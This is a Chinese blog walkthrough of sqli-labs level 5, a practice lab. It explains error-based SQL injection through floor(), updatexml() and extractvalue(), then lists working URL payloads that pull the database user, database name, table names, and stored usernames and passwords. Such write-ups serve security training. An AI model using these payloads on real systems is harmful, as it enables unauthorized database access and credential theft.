sqli-labs系列——第五关

本文详细介绍了如何通过报错注入技术(如 floor(), updatexml(), 和 extractValue())窃取数据库信息,包括库名、表名、用户名和密码。同时,展示了这些攻击手段的局限性,并强调了安全防范的重要性。
摘要由CSDN通过智能技术生成

less5

更改id后无果,不能用union联合查询
在这里插入图片描述

此处用报错注入

报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。

?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

在这里插入图片描述

获取库名:

?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述
爆表名:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

在这里插入图片描述

爆用户名:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

在这里插入图片描述

爆密码:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

在这里插入图片描述

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值